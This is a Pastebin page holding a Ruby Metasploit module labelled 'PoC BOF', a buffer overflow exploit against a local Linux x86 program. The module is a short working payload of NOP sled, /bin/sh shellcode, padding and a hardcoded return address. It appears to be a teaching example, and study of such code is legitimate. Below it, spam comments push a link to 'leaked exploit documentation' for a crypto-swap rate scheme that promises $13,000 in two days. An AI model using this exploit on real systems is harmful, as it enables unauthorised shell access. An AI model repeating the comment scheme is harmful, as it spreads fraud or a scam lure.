miguelangelgarcia

Exploit for BOF PoC

Jul 11th, 2014
688
0
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.19 KB | None | 0 0
  1. require 'msf/core'
  2. require 'rex'
  3.  
  4. class Metasploit3 < Msf::Exploit::Local
  5.   Rank = ExcellentRanking
  6.  
  7.   def initialize(info={})
  8.     super( update_info( info, {
  9.         'Name'          => 'PoC BOF',
  10.         'Description'   => ‘Ejemplo de explotación BOF',
  11.        'License'       => MSF_LICENSE,
  12.        'Author'        => [ 'nodoraiz', 'Miguel Angel Garcia' ],
  13.        'Platform'      => [ 'linux'],
  14.        'Arch'          => [ ARCH_X86 ],
  15.        'SessionTypes'  => [ 'shell', 'meterpreter' ],
  16.        'Targets'       =>
  17.          [
  18.            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ]
  19.          ],
  20.        'DefaultTarget' => 0,
  21.     'Payload' => { Space => 23 }
  22.      }
  23.      ))
  24.    register_options([
  25.        OptString.new("exec_file",        [ true, "Path to executable", "/root/explotacion/prog" ]),
  26.      ], self.class)
  27.  end
  28.  
  29.  def exploit
  30.     junk_space = 21
  31.     nops_space = 4
  32.  
  33.     path = datastore["exec_file"]
  34.     nops = "\x90" * nops_space
  35.     shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
  36.     junk = "A" * (junk_space - nops_space)
  37.     eip = "\x50\xf2\xff\xbf"
  38.  
  39.     exec path + " " + nops + shellcode + junk + eip
  40.  end
  41. end
Advertisement
Comments
  • cdujr08
    1 day
    # CSS 0.78 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://rawtext.host/raw?44lh4m
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without any verification from Swapzone — instant swap).
  • audley1243
    18 hours
    # CSS 0.11 KB | 0 0
    1. Updated Documentation:  https://rawtext.host/raw?44lh4m  If the link stops working, please send us a message
  • rvthrilling
    11 hours
    # CSS 0.05 KB | 0 0
    1. You literally stole it from https://t.me/theprotocolone
Add Comment
Please, Sign In to add comment